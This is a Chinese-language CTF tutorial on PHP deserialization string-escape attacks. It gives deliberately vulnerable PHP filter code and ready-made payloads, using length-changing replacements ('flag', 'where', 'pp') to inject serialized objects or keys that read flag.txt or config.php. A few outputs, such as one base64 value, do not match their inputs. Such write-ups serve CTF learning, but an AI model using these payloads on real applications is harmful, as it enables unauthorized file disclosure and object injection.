反序列化字符串逃逸
反序列化字符串逃逸的核心,都是想办法构造闭合,让想执行的代码逃逸出来。
反序列化字符串逃逸主要分为两种情况:
情况一:替换的字符比原来的字符多
例题:[0CTF 2016]piapiapia 和 为本地 /ctf-serialize/test1.php
方法一:利用原有的类来构造
比如test1,直接把$a列表拿出来序列化:
<?php
error_reporting(255);
class A{
public $filename = __FILE__;
public function __destruct()
{
highlight_file($this->filename);
// TODO: Implement __destruct() method.
}
}
function waf($s){
return preg_replace('/flag/i','index',$s);
}
if(isset($_REQUEST['x'])&& is_string($_REQUEST['x'])){
$a = [
0 => $_REQUEST['x'],
1 => "1"
];
print_r(serialize($a));
@unserialize(waf(serialize($a)));
print_r(unserialize(waf(serialize($a))));
}else{
new A();
}
序列化的结果:
<?php
$a = [
0=>"123",
1=>"1"
];
print_r(serialize($a));
#序列化的结果 a:2:{i:0;s:3:"123";i:1;s:1:"1";}
这里我们想要逃逸的是i:1 这个属性,先构造要逃逸的内容:
O:1:"A":1:{s:8:"filename";S:8:"\66\6c\61\67\2e\74\78\74";}
直接替换掉 s:1:"1"; 得到
";i:1;O:1:"A":1:{s:8:"filename";S:8:"\66\6c\61\67\2e\74\78\74";}}
前面的123用字符填充,这里我们要逃逸的内容有65个字段。
所以我们要逃逸65个字段,也就是构造65个flag;
flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";i:1;O:1:"A":1:{s:8:"filename";S:8:"\66\6c\61\67\2e\74\78\74";}}
方法二:直接构造逃逸字符
1.通过“;将前面的语句闭合,}加不加要看是不是把整个序列化结束,看属性的个数。
2.构造我们要逃逸的属性字段,如果属性里面的名字会被过滤,可以使用大写S,变成16进制输入,如图拼接好:
";}s:5:"photo";S:10:"\63\6f\6e\66\69\67\2e\70\68\70";}
3.算出要逃逸的字段个数,前面用字符填充,拼接。
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
情况二:字符串直接被替换成空或者比原来的字符少
例题:[安洵杯 2019]easy_serialize_php 也就是本地的test2
例题:
<?php
function filter($string){
$filter = '/pp/i';
return preg_replace($filter,'W',$string);
}
$username = 'ppurlet'; #'pppppppppppppppppppppppppp';
$age = '20'; # 'A";i:1;s:2:"20";}';
$user= array($username,$age);
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
方法一:值逃逸 就是利用填充username的值 来逃逸字符
1.先把题目中user数组拿出来序列化:
a:2:{i:0;s:7:"Wurlet";i:1;s:2:"20";}
提取要逃逸的字符:
";i:1;s:2:"20";}
2.在提取的字符前面加一个字符填充:
A";i:1;s:2:"20";}
把这串字符,放入我们要修改的属性,这里是age,然后序列化:
a:2:{i:0;s:7:"Wurlet";i:1;s:17:"A";i:1;s:2:"20";}";}
提取里面的这串字符:字符数为13
";i:1;s:17:"A
3.这里是两个字符 替换成 一个字符, 要逃逸13个字符,就需要填充26个p,username的值:
pppppppppppppppppppppppppp
方法二:键逃逸 就是利用填充键的名字来逃逸字符
这里例题使用:[安洵杯 2019]easy_serialize_php
这里先说这道题的键逃逸:
这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
var_dump的结果为:
"a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mbGxsbGxsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
其实键逃逸 和 值逃逸 的原理和 方法 是一样的,只不过是值逃逸利用的是_SESSION[user]的值来逃逸字符串,键逃逸利用的是替换了_SESSION[function]的键
值逃逸:
这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
var_dump的结果为:
"a:3{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"